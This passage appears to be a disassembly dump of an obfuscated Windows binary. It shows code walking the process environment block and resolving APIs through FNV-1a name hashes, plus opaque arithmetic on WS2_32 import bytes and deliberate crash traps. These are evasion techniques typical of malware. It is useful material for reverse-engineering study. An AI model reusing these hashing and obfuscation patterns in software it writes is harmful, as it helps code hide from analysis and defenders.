call fcn.1401144f0
movsx edx, al
call fcn.1401144ec
movsx ecx, al
imul edx, ecx
call fcn.1401144fc
movsx ecx, al
xorps xmm0, xmm0
lea eax, [rcx + rdx*4]
movsx ecx, byte [reloc.WS2_32.dll_htons]
add eax, ecx
xor edx, edx
movsx ecx, byte [reloc.WS2_32.dll_htonl]
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
sub eax, ecx
cvtsi2sd xmm0, rax
mulsd xmm0, qword [rsp + 0x28]
cvttsd2si r9d, xmm0
jmp 0x1400eabf0
mov r9d, dword [rsp + 0x30]
call fcn.1401144f0
movsx edx, al
call fcn.1401144ec
movsx ecx, al
imul edx, ecx
call fcn.1401144fc
movsx ecx, al
lea eax, [rcx + rdx*4]
movsx ecx, byte [reloc.WS2_32.dll_htons]
add eax, ecx
xor edx, edx
movsx ecx, byte [reloc.WS2_32.dll_htonl]
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
sub eax, ecx
imul eax, r9d
test eax, eax
je 0x1400eac38
call fcn.1401145ec
mov rdx, qword [0x1402303d8]
test rdx, rdx
jne 0x1400ead9b
mov rax, qword gs:[0x60]
mov esi, r13d
mov r14d, 0xcded1a85
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov r15, qword [rax]
mov rbx, r15
movups xmm0, xmmword [rbx + 0x58]
movd eax, xmm0
sub ax, 8
test esi, esi
je 0x1400eacaf
psrldq xmm0, 8
mov edx, 0x811c9dc5
movzx eax, ax
movq rcx, xmm0
shr rax, 1
lea r8, [rcx + rax*2]
jmp 0x1400eaca2
movsx eax, byte [rcx]
xor eax, edx
imul edx, eax, 0x1000193
add rcx, 2
cmp rcx, r8
jne 0x1400eac93
cmp edx, esi
jne 0x1400ead7c
mov r9, qword [rbx + 0x30]
movsxd rax, dword [r9 + 0x3c]
mov rax, qword [rax + r9 + 0x88]
mov r10d, eax
add r10, r9
shr rax, 0x20
cmp r10, r9
je 0x1400ead7c
mov r11d, dword [r10 + 0x18]
test r11d, r11d
je 0x1400ead7c
mov edi, dword [r10 + 0x20]
dec r11d
lea rdx, [r9 + r11*4]
mov r8d, dword [rdx + rdi]
mov edx, 0x811c9dc5
add r8, r9
jmp 0x1400ead03
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
mov cl, byte [r8]
add r8, r12
test cl, cl
jne 0x1400eacf8
cmp edx, r14d
je 0x1400ead19
test r11d, r11d
jne 0x1400eace3
jmp 0x1400ead7c
mov ecx, dword [r10 + 0x24]
mov edx, dword [r10 + 0x1c]
add rcx, r9
add rdx, r9
movzx r8d, word [rcx + r11*2]
mov edx, dword [rdx + r8*4]
add rdx, r9
cmp rdx, r10
jbe 0x1400ead94
lea rcx, [rax + r10]
cmp rdx, rcx
jae 0x1400ead94
mov eax, 0x811c9dc5
mov esi, eax
mov r14d, eax
jmp 0x1400ead5b
movsx eax, al
xor eax, esi
imul esi, eax, 0x1000193
add rdx, r12
mov al, byte [rdx]
cmp al, 0x2e
jne 0x1400ead4d
jmp 0x1400ead70
movsx eax, al
xor eax, r14d
imul r14d, eax, 0x1000193
add rdx, r12
mov al, byte [rdx]
test al, al
jne 0x1400ead63
mov rbx, qword [r15]
mov rax, qword [rbx]
mov rbx, rax
cmp rax, r15
je 0x1400ead91
cmp qword [rax + 0x30], r13
jne 0x1400eac68
mov rdx, r13
mov qword [0x1402303d8], rdx
mov ecx, 0x99
call rdx
mov rbx, qword [0x140230498]
test rbx, rbx
jne 0x1400eaf05
mov rax, qword gs:[0x60]
mov esi, r13d
mov r14d, 0xf84eee59
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov r15, qword [rax]
mov rbx, r15
movups xmm0, xmmword [rbx + 0x58]
movd eax, xmm0
sub ax, 8
test esi, esi
je 0x1400eae19
psrldq xmm0, 8
mov edx, 0x811c9dc5
movzx eax, ax
movq rcx, xmm0
shr rax, 1
lea r8, [rcx + rax*2]
jmp 0x1400eae0c
movsx eax, byte [rcx]
xor eax, edx
imul edx, eax, 0x1000193
add rcx, 2
cmp rcx, r8
jne 0x1400eadfd
cmp edx, esi
jne 0x1400eaee6
mov r10, qword [rbx + 0x30]
movsxd rax, dword [r10 + 0x3c]
mov rax, qword [rax + r10 + 0x88]
mov r11d, eax
add r11, r10
shr rax, 0x20
cmp r11, r10
je 0x1400eaee6
mov r9d, dword [r11 + 0x18]
test r9d, r9d
je 0x1400eaee6
mov edi, dword [r11 + 0x20]
dec r9d
lea rdx, [rdi + r9*4]
mov r8d, dword [rdx + r10]
mov edx, 0x811c9dc5
add r8, r10
jmp 0x1400eae6d
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
mov cl, byte [r8]
add r8, r12
test cl, cl
jne 0x1400eae62
cmp edx, r14d
je 0x1400eae83
test r9d, r9d
jne 0x1400eae4d
jmp 0x1400eaee6
mov edx, dword [r11 + 0x24]
add rdx, r10
movzx r9d, word [rdx + r9*2]
mov edx, dword [r11 + 0x1c]
add rdx, r10
mov ebx, dword [rdx + r9*4]
add rbx, r10
cmp rbx, r11
jbe 0x1400eaefe
lea rcx, [rax + r11]
cmp rbx, rcx
jae 0x1400eaefe
mov eax, 0x811c9dc5
mov esi, eax
mov r14d, eax
jmp 0x1400eaec5
movsx eax, al
xor eax, esi
imul esi, eax, 0x1000193
add rbx, r12
mov al, byte [rbx]
cmp al, 0x2e
jne 0x1400eaeb7
jmp 0x1400eaeda
movsx eax, al
xor eax, r14d
imul r14d, eax, 0x1000193
add rbx, r12
mov al, byte [rbx]
test al, al
jne 0x1400eaecd
mov rbx, qword [r15]
mov rax, qword [rbx]
mov rbx, rax
cmp rax, r15
je 0x1400eaefb
cmp qword [rax + 0x30], r13
jne 0x1400eadd2
mov rbx, r13
mov qword [0x140230498], rbx
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov rcx, rax
xor edx, edx
call rbx
mov rdx, qword [0x140230490]
test rdx, rdx
jne 0x1400eb075
mov rax, qword gs:[0x60]
mov esi, r13d
mov r14d, 0xb3002016
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov r15, qword [rax]
mov rbx, r15
movups xmm0, xmmword [rbx + 0x58]
movd eax, xmm0
sub ax, 8
test esi, esi
je 0x1400eaf89
psrldq xmm0, 8
mov edx, 0x811c9dc5
movzx eax, ax
movq rcx, xmm0
shr rax, 1
lea r8, [rcx + rax*2]
jmp 0x1400eaf7c
movsx eax, byte [rcx]
xor eax, edx
imul edx, eax, 0x1000193
add rcx, 2
cmp rcx, r8
jne 0x1400eaf6d
cmp edx, esi
jne 0x1400eb056
mov r10, qword [rbx + 0x30]
movsxd rax, dword [r10 + 0x3c]
mov rax, qword [rax + r10 + 0x88]
mov r11d, eax
add r11, r10
shr rax, 0x20
cmp r11, r10
je 0x1400eb056
mov r9d, dword [r11 + 0x18]
test r9d, r9d
je 0x1400eb056
mov edi, dword [r11 + 0x20]
dec r9d
lea rdx, [rdi + r9*4]
mov r8d, dword [rdx + r10]
mov edx, 0x811c9dc5
add r8, r10
jmp 0x1400eafdd
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
mov cl, byte [r8]
add r8, r12
test cl, cl
jne 0x1400eafd2
cmp edx, r14d
je 0x1400eaff3
test r9d, r9d
jne 0x1400eafbd
jmp 0x1400eb056
mov edx, dword [r11 + 0x24]
add rdx, r10
movzx r9d, word [rdx + r9*2]
mov edx, dword [r11 + 0x1c]
add rdx, r10
mov edx, dword [rdx + r9*4]
add rdx, r10
cmp rdx, r11
jbe 0x1400eb06e
lea rcx, [rax + r11]
cmp rdx, rcx
jae 0x1400eb06e
mov eax, 0x811c9dc5
mov esi, eax
mov r14d, eax
jmp 0x1400eb035
movsx eax, al
xor eax, esi
imul esi, eax, 0x1000193
add rdx, r12
mov al, byte [rdx]
cmp al, 0x2e
jne 0x1400eb027
jmp 0x1400eb04a
movsx eax, al
xor eax, r14d
imul r14d, eax, 0x1000193
add rdx, r12
mov al, byte [rdx]
test al, al
jne 0x1400eb03d
mov rbx, qword [r15]
mov rax, qword [rbx]
mov rbx, rax
cmp rax, r15
je 0x1400eb06b
cmp qword [rax + 0x30], r13
jne 0x1400eaf42
mov rdx, r13
mov qword [0x140230490], rdx
xor ecx, ecx
call rdx
mov rdx, qword [0x140230488]
test rdx, rdx
jne 0x1400eb1dc
mov rax, qword gs:[0x60]
mov esi, r13d
mov r14d, 0x2fd4df39
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov r15, qword [rax]
mov rbx, r15
movups xmm0, xmmword [rbx + 0x58]
movd eax, xmm0
sub ax, 8
test esi, esi
je 0x1400eb0f0
psrldq xmm0, 8
mov edx, 0x811c9dc5
movzx eax, ax
movq rcx, xmm0
shr rax, 1
lea r8, [rcx + rax*2]
jmp 0x1400eb0e3
movsx eax, byte [rcx]
xor eax, edx
imul edx, eax, 0x1000193
add rcx, 2
cmp rcx, r8
jne 0x1400eb0d4
cmp edx, esi
jne 0x1400eb1bd
mov r10, qword [rbx + 0x30]
movsxd rax, dword [r10 + 0x3c]
mov rax, qword [rax + r10 + 0x88]
mov r11d, eax
add r11, r10
shr rax, 0x20
cmp r11, r10
je 0x1400eb1bd
mov r9d, dword [r11 + 0x18]
test r9d, r9d
je 0x1400eb1bd
mov edi, dword [r11 + 0x20]
dec r9d
lea rdx, [rdi + r9*4]
mov r8d, dword [rdx + r10]
mov edx, 0x811c9dc5
add r8, r10
jmp 0x1400eb144
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
mov cl, byte [r8]
add r8, r12
test cl, cl
jne 0x1400eb139
cmp edx, r14d
je 0x1400eb15a
test r9d, r9d
jne 0x1400eb124
jmp 0x1400eb1bd
mov edx, dword [r11 + 0x24]
add rdx, r10
movzx r9d, word [rdx + r9*2]
mov edx, dword [r11 + 0x1c]
add rdx, r10
mov edx, dword [rdx + r9*4]
add rdx, r10
cmp rdx, r11
jbe 0x1400eb1d5
lea rcx, [r11 + rax]
cmp rdx, rcx
jae 0x1400eb1d5
mov eax, 0x811c9dc5
mov esi, eax
mov r14d, eax
jmp 0x1400eb19c
movsx eax, al
xor eax, esi
imul esi, eax, 0x1000193
add rdx, r12
mov al, byte [rdx]
cmp al, 0x2e
jne 0x1400eb18e
jmp 0x1400eb1b1
movsx eax, al
xor eax, r14d
imul r14d, eax, 0x1000193
add rdx, r12
mov al, byte [rdx]
test al, al
jne 0x1400eb1a4
mov rbx, qword [r15]
mov rax, qword [rbx]
mov rbx, rax
cmp rax, r15
je 0x1400eb1d2
cmp qword [rax + 0x30], r13
jne 0x1400eb0a9
mov rdx, r13
mov qword [0x140230488], rdx
xor ecx, ecx
call rdx
mov rdx, qword [0x140230480]
test rdx, rdx
jne 0x1400eb343
mov rax, qword gs:[0x60]
mov esi, r13d
mov r14d, 0xe80fd3a
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov r15, qword [rax]
mov rbx, r15
movups xmm0, xmmword [rbx + 0x58]
movd eax, xmm0
sub ax, 8
test esi, esi
je 0x1400eb257
psrldq xmm0, 8
mov edx, 0x811c9dc5
movzx eax, ax
movq rcx, xmm0
shr rax, 1
lea r8, [rcx + rax*2]
jmp 0x1400eb24a
movsx eax, byte [rcx]
xor eax, edx
imul edx, eax, 0x1000193
add rcx, 2
cmp rcx, r8
jne 0x1400eb23b
cmp edx, esi
jne 0x1400eb324
mov r10, qword [rbx + 0x30]
movsxd rax, dword [r10 + 0x3c]
mov rax, qword [rax + r10 + 0x88]
mov r11d, eax
add r11, r10
shr rax, 0x20
cmp r11, r10
je 0x1400eb324
mov r9d, dword [r11 + 0x18]
test r9d, r9d
je 0x1400eb324
mov edi, dword [r11 + 0x20]
dec r9d
lea rdx, [r10 + r9*4]
mov r8d, dword [rdx + rdi]
mov edx, 0x811c9dc5
add r8, r10
jmp 0x1400eb2ab
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
mov cl, byte [r8]
add r8, r12
test cl, cl
jne 0x1400eb2a0
cmp edx, r14d
je 0x1400eb2c1
test r9d, r9d
jne 0x1400eb28b
jmp 0x1400eb324
mov edx, dword [r11 + 0x24]
add rdx, r10
movzx r9d, word [rdx + r9*2]
mov edx, dword [r11 + 0x1c]
add rdx, r10
mov edx, dword [rdx + r9*4]
add rdx, r10
cmp rdx, r11
jbe 0x1400eb33c
lea rcx, [rax + r11]
cmp rdx, rcx
jae 0x1400eb33c
mov eax, 0x811c9dc5
mov esi, eax
mov r14d, eax
jmp 0x1400eb303
movsx eax, al
xor eax, esi
imul esi, eax, 0x1000193
add rdx, r12
mov al, byte [rdx]
cmp al, 0x2e
jne 0x1400eb2f5
jmp 0x1400eb318
movsx eax, al
xor eax, r14d
imul r14d, eax, 0x1000193
add rdx, r12
mov al, byte [rdx]
test al, al
jne 0x1400eb30b
mov rbx, qword [r15]
mov rax, qword [rbx]
mov rbx, rax
cmp rax, r15
je 0x1400eb339
cmp qword [rax + 0x30], r13
jne 0x1400eb210
mov rdx, r13
mov qword [0x140230480], rdx
xor ecx, ecx
call rdx
cmp qword [0x140230478], r13
jne 0x1400eb4a9
mov rax, qword gs:[0x60]
mov esi, r13d
mov r14d, 0xa52bcaf9
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov r15, qword [rax]
mov rbx, r15
movups xmm0, xmmword [rbx + 0x58]
movd eax, xmm0
sub ax, 8
test esi, esi
je 0x1400eb3bb
psrldq xmm0, 8
mov edx, 0x811c9dc5
movzx eax, ax
movq rcx, xmm0
shr rax, 1
lea r8, [rcx + rax*2]
jmp 0x1400eb3ae
movsx eax, byte [rcx]
xor eax, edx
imul edx, eax, 0x1000193
add rcx, 2
cmp rcx, r8
jne 0x1400eb39f
cmp edx, esi
jne 0x1400eb48a
mov r10, qword [rbx + 0x30]
movsxd rax, dword [r10 + 0x3c]
mov rax, qword [rax + r10 + 0x88]
mov r11d, eax
add r11, r10
shr rax, 0x20
cmp r11, r10
je 0x1400eb48a
mov r9d, dword [r11 + 0x18]
test r9d, r9d
je 0x1400eb48a
mov edi, dword [r11 + 0x20]
dec r9d
lea rdx, [r10 + r9*4]
mov r8d, dword [rdx + rdi]
mov edx, 0x811c9dc5
add r8, r10
jmp 0x1400eb40f
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
mov cl, byte [r8]
add r8, r12
test cl, cl
jne 0x1400eb404
cmp edx, r14d
je 0x1400eb425
test r9d, r9d
jne 0x1400eb3ef
jmp 0x1400eb48a
mov edx, dword [r11 + 0x24]
add rdx, r10
movzx r9d, word [rdx + r9*2]
mov edx, dword [r11 + 0x1c]
add rdx, r10
mov r8d, dword [rdx + r9*4]
add r8, r10
cmp r8, r11
jbe 0x1400eb4a2
lea rcx, [r11 + rax]
cmp r8, rcx
jae 0x1400eb4a2
mov eax, 0x811c9dc5
mov esi, eax
mov r14d, eax
jmp 0x1400eb467
movsx eax, al
xor eax, esi
imul esi, eax, 0x1000193
add r8, r12
mov al, byte [r8]
cmp al, 0x2e
jne 0x1400eb459
jmp 0x1400eb47d
movsx eax, al
xor eax, r14d
imul r14d, eax, 0x1000193
add r8, r12
mov al, byte [r8]
test al, al
jne 0x1400eb470
mov rbx, qword [r15]
mov rax, qword [rbx]
mov rbx, rax
cmp rax, r15
je 0x1400eb49f
cmp qword [rax + 0x30], r13
jne 0x1400eb374
mov r8, r13
mov qword [0x140230478], r8
xor ecx, ecx
int 0x29
mov r10d, r13d
call fcn.1401144ec
movsx edx, al
call fcn.1401144f0
movsx ecx, al
imul edx, ecx
lea eax, [rdx + rdx*4]
lea edx, [rax + rax]
call fcn.1401144fc
movsx r11d, al
add r11d, edx
call fcn.1401144ec
movsx edx, al
call fcn.1401144f0
movsx ecx, al
imul edx, ecx
call fcn.1401144fc
movsx ecx, al
lea edi, [rcx + rdx*8]
call fcn.1401144ec
movsx edx, al
call fcn.1401144f0
movsx ecx, al
imul edx, ecx
call fcn.1401144fc
mov r9d, dword [rsp + 0x30]
movsx ecx, al
lea ebx, [rcx + rdx*4]
movsx eax, byte [reloc.WS2_32.dll_htons]
xor edx, edx
movsx ecx, byte [reloc.WS2_32.dll_htonl]
add eax, r11d
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
xorps xmm2, xmm2
sub eax, ecx
xor edx, edx
cvtsi2sd xmm2, rax
movsx eax, byte [reloc.WS2_32.dll_getsockopt]
movd xmm1, eax
movsx eax, byte [reloc.WS2_32.dll_closesocket]
cvtdq2pd xmm1, xmm1
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
mulsd xmm1, xmm2
movsd qword [rsp + 0x28], xmm1
movsx eax, byte [reloc.WS2_32.dll_htons]
movsx ecx, byte [reloc.WS2_32.dll_htonl]
add eax, edi
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x1400eb5cb
call fcn.1401144f4
movsx edx, al
movsx eax, byte [0x140230389]
imul edx, eax
lea r8d, [rdx + rdx*2]
call fcn.140114500
movsx ecx, al
sub r8d, ecx
call fcn.1401144f8
movsx ecx, al
add r8d, ecx
movsx ecx, byte [reloc.WS2_32.dll_closesocket]
add ecx, r8d
je 0x1400eb5cb
mov r9d, 8
jmp 0x1400eb61b
movsx eax, byte [reloc.WS2_32.dll_htons]
xor edx, edx
movsx ecx, byte [reloc.WS2_32.dll_htonl]
add eax, r11d
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x1400eb61b
movsx eax, byte [reloc.WS2_32.dll_htons]
xor edx, edx
movsx ecx, byte [reloc.WS2_32.dll_htonl]
add eax, ebx
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
xorps xmm0, xmm0
sub eax, ecx
cvtsi2sd xmm0, rax
mulsd xmm0, qword [rsp + 0x28]
cvttsd2si r9d, xmm0
cmp r10d, r9d
jge 0x1400eb64a
mov rax, r12
mov rcx, r12
mov qword [rsp + 0x30], rax
mov qword [rsp + rcx*8 + 0x30], rax
mov rax, qword [rsp + 0x30]
add rax, r12
mov rcx, rax
mov qword [rsp + 0x30], rax
jne 0x1400eb62b
add r10d, r12d
jmp 0x1400eb516
lea rdx, [rbp + 0x38]
mov qword [0], 0x99
lea rcx, [rsp + 0x24]
mov byte [rsp + 0x24], r13b
call fcn.1400910f8
mov rbx, rax
cmp byte [rax], r13b
jne 0x1400ec10f
mov dword [rsp + 0x20], r13d
mov ecx, dword [rsp + 0x20]
cmp ecx, r12d
jae 0x1400ec10f
call fcn.1401144ec
movsx edx, al
call fcn.1401144f0
movsx ecx, al
imul edx, ecx
imul edx, edx, 7
call fcn.1401144fc
movsx eax, al
add eax, edx
mov dword [rsp + 0x30], eax
call fcn.1401144ec
movsx edx, al
call fcn.1401144f0
movsx ecx, al
imul edx, ecx
call fcn.1401144fc
movsx ecx, al
lea r14d, [rcx + rdx*8]
call fcn.1401144f4
movsx r9d, al
call fcn.140114500
movsx r10d, al
call fcn.1401144f8
movsx r11d, al
call fcn.1401144ec
movsx edx, al
call fcn.1401144f0
movsx ecx, al
imul edx, ecx
lea eax, [rdx + rdx*4]
lea edx, [rax + rax]
call fcn.1401144fc
movsx edi, al
add edi, edx
call fcn.1401144ec
movsx edx, al
call fcn.1401144f0
movsx ecx, al
imul edx, ecx
mov dword [rsp + 0x54], edx
call fcn.1401144fc
mov r15d, dword [rsp + 0x30]
mov r12d, dword [rsp + 0x30]
mov r13d, dword [rsp + 0x30]
movsx eax, al
mov dword [rsp + 0x50], eax
lea esi, [rax + rdx*4]
movsx ecx, byte [0x140230389]
imul ecx, r9d
lea edx, [rcx + rcx*4]
movsx ecx, byte [reloc.WS2_32.dll_closesocket]
sub edx, r10d
add edx, r11d
add ecx, edx
je 0x1400eb916
movsx eax, byte [reloc.WS2_32.dll_getsockopt]
xor edx, edx
movd xmm1, eax
movsx eax, byte [reloc.WS2_32.dll_closesocket]
cvtdq2pd xmm1, xmm1
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
mulsd xmm1, xmm9
movsd qword [rsp + 0x28], xmm1
movsx eax, byte [reloc.WS2_32.dll_htons]
movsx ecx, byte [reloc.WS2_32.dll_htonl]
add eax, r14d
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x1400eb7d8
movsx ecx, byte [0x140230389]
imul ecx, r9d
lea edx, [rcx + rcx*2]
movsx ecx, byte [reloc.WS2_32.dll_closesocket]
sub edx, r10d
add edx, r11d
add ecx, edx
je 0x1400eb7d8
mov r15d, 8
jmp 0x1400eb827
movsx eax, byte [reloc.WS2_32.dll_htons]
xor edx, edx
movsx ecx, byte [reloc.WS2_32.dll_htonl]
add eax, edi
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x1400eb827
movsx eax, byte [reloc.WS2_32.dll_htons]
xor edx, edx
movsx ecx, byte [reloc.WS2_32.dll_htonl]
add eax, esi
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
xorps xmm0, xmm0
sub eax, ecx
cvtsi2sd xmm0, rax
mulsd xmm0, qword [rsp + 0x28]
cvttsd2si r15d, xmm0
movsx eax, byte [reloc.WS2_32.dll_getsockopt]
xor edx, edx
movd xmm1, eax
movsx eax, byte [reloc.WS2_32.dll_closesocket]
cvtdq2pd xmm1, xmm1
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
mulsd xmm1, xmm9
movsd qword [rsp + 0x28], xmm1
movsx eax, byte [reloc.WS2_32.dll_htons]
movsx ecx, byte [reloc.WS2_32.dll_htonl]
add eax, r14d
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x1400eb89f
movsx ecx, byte [0x140230389]
imul ecx, r9d
lea edx, [rcx + rcx*2]
movsx ecx, byte [reloc.WS2_32.dll_closesocket]
sub edx, r10d
add edx, r11d
add ecx, edx
je 0x1400eb89f
mov r12d, 8
jmp 0x1400eb8ee
movsx eax, byte [reloc.WS2_32.dll_htons]
xor edx, edx
movsx ecx, byte [reloc.WS2_32.dll_htonl]
add eax, edi
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x1400eb8ee
movsx eax, byte [reloc.WS2_32.dll_htons]
xor edx, edx
movsx ecx, byte [reloc.WS2_32.dll_htonl]
add eax, esi
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
xorps xmm0, xmm0
sub eax, ecx
cvtsi2sd xmm0, rax
mulsd xmm0, qword [rsp + 0x28]
cvttsd2si r12d, xmm0
movsxd rax, dword [rsp + 0x20]
mov r8d, dword [rbx + rax*4 + 4]
movsxd rax, dword [rsp + 0x20]
and r8d, r12d
add r8d, r8d
mov edx, dword [rbx + rax*4 + 4]
movsxd rax, dword [rsp + 0x20]
sub edx, r8d
add edx, r15d
mov dword [rbx + rax*4 + 4], edx
movsx eax, byte [reloc.WS2_32.dll_htons]
xor edx, edx
add eax, dword [rsp + 0x30]
movsx ecx, byte [reloc.WS2_32.dll_htonl]
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x1400ebf0c
movsx ecx, byte [0x140230389]
imul ecx, r9d
lea edx, [rcx + rcx*2]
movsx ecx, byte [reloc.WS2_32.dll_closesocket]
add edx, edx
sub edx, r10d
add edx, r11d
add ecx, edx
je 0x1400ebb1b
movsx eax, byte [reloc.WS2_32.dll_getsockopt]
xor edx, edx
movd xmm1, eax
movsx eax, byte [reloc.WS2_32.dll_closesocket]
cvtdq2pd xmm1, xmm1
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
mulsd xmm1, xmm6
movsd qword [rsp + 0x28], xmm1
movsx eax, byte [reloc.WS2_32.dll_htons]
movsx ecx, byte [reloc.WS2_32.dll_htonl]
add eax, r14d
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x1400eb9d7
movsx ecx, byte [0x140230389]
imul ecx, r9d
lea edx, [rcx + rcx*2]
movsx ecx, byte [reloc.WS2_32.dll_closesocket]
sub edx, r10d
add edx, r11d
add ecx, edx
je 0x1400eb9d7
mov r13d, 8
jmp 0x1400eba26
movsx eax, byte [reloc.WS2_32.dll_htons]
xor edx, edx
movsx ecx, byte [reloc.WS2_32.dll_htonl]
add eax, edi
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x1400eba26
movsx eax, byte [reloc.WS2_32.dll_htons]
xor edx, edx
movsx ecx, byte [reloc.WS2_32.dll_htonl]
add eax, esi
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
xorps xmm0, xmm0
sub eax, ecx
cvtsi2sd xmm0, rax
mulsd xmm0, qword [rsp + 0x28]
cvttsd2si r13d, xmm0
movsx eax, byte [reloc.WS2_32.dll_getsockopt]
xor edx, edx
movd xmm1, eax
movsx eax, byte [reloc.WS2_32.dll_closesocket]
cvtdq2pd xmm1, xmm1
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
mulsd xmm1, xmm6
movsd qword [rsp + 0x28], xmm1
movsx eax, byte [reloc.WS2_32.dll_htons]
movsx ecx, byte [reloc.WS2_32.dll_htonl]
add eax, r14d
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x1400eba9f
movsx ecx, byte [0x140230389]
imul ecx, r9d
lea edx, [rcx + rcx*2]
movsx ecx, byte [reloc.WS2_32.dll_closesocket]
sub edx, r10d
add edx, r11d
add ecx, edx
je 0x1400eba9f
mov dword [rsp + 0x60], 8
jmp 0x1400ebaf1
movsx eax, byte [reloc.WS2_32.dll_htons]
xor edx, edx
movsx ecx, byte [reloc.WS2_32.dll_htonl]
add eax, edi
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x1400ebaf1
movsx eax, byte [reloc.WS2_32.dll_htons]
xor edx, edx
movsx ecx, byte [reloc.WS2_32.dll_htonl]
add eax, esi
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
xorps xmm0, xmm0
sub eax, ecx
cvtsi2sd xmm0, rax
mulsd xmm0, qword [rsp + 0x28]
cvttsd2si eax, xmm0
mov dword [rsp + 0x60], eax
movsxd rax, dword [rsp + 0x20]
mov r8d, dword [rbx + rax*4 + 4]
movsxd rax, dword [rsp + 0x20]
and r8d, dword [rsp + 0x60]
add r8d, r8d
mov edx, dword [rbx + rax*4 + 4]
movsxd rax, dword [rsp + 0x20]
sub edx, r8d
add edx, r13d
mov dword [rbx + rax*4 + 4], edx
movsx edx, byte [0x140230389]
movsx ecx, byte [reloc.WS2_32.dll_closesocket]
imul edx, r9d
sub edx, r10d
add edx, r11d
add ecx, edx
je 0x1400ebcfc
movsx eax, byte [reloc.WS2_32.dll_getsockopt]
xor edx, edx
movd xmm1, eax
movsx eax, byte [reloc.WS2_32.dll_closesocket]
cvtdq2pd xmm1, xmm1
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
mulsd xmm1, xmm7
movsd qword [rsp + 0x28], xmm1
movsx eax, byte [reloc.WS2_32.dll_htons]
movsx ecx, byte [reloc.WS2_32.dll_htonl]
add eax, r14d
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x1400ebbb4
movsx ecx, byte [0x140230389]
imul ecx, r9d
lea edx, [rcx + rcx*2]
movsx ecx, byte [reloc.WS2_32.dll_closesocket]
sub edx, r10d
add edx, r11d
add ecx, edx
je 0x1400ebbb4
mov dword [rsp + 0x4c], 8
jmp 0x1400ebc06
movsx eax, byte [reloc.WS2_32.dll_htons]
xor edx, edx
movsx ecx, byte [reloc.WS2_32.dll_htonl]
add eax, edi
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x1400ebc06
movsx eax, byte [reloc.WS2_32.dll_htons]
xor edx, edx
movsx ecx, byte [reloc.WS2_32.dll_htonl]
add eax, esi
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
xorps xmm0, xmm0
sub eax, ecx
cvtsi2sd xmm0, rax
mulsd xmm0, qword [rsp + 0x28]
cvttsd2si eax, xmm0
mov dword [rsp + 0x4c], eax
movsx eax, byte [reloc.WS2_32.dll_getsockopt]
xor edx, edx
movd xmm1, eax
movsx eax, byte [reloc.WS2_32.dll_closesocket]
cvtdq2pd xmm1, xmm1
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
mulsd xmm1, xmm7
movsd qword [rsp + 0x28], xmm1
movsx eax, byte [reloc.WS2_32.dll_htons]
movsx ecx, byte [reloc.WS2_32.dll_htonl]
add eax, r14d
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x1400ebc7f
movsx ecx, byte [0x140230389]
imul ecx, r9d
lea edx, [rcx + rcx*2]
movsx ecx, byte [reloc.WS2_32.dll_closesocket]
sub edx, r10d
add edx, r11d
add ecx, edx
je 0x1400ebc7f
mov dword [rsp + 0x58], 8
jmp 0x1400ebcd1
movsx eax, byte [reloc.WS2_32.dll_htons]
xor edx, edx
movsx ecx, byte [reloc.WS2_32.dll_htonl]
add eax, edi
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x1400ebcd1
movsx eax, byte [reloc.WS2_32.dll_htons]
xor edx, edx
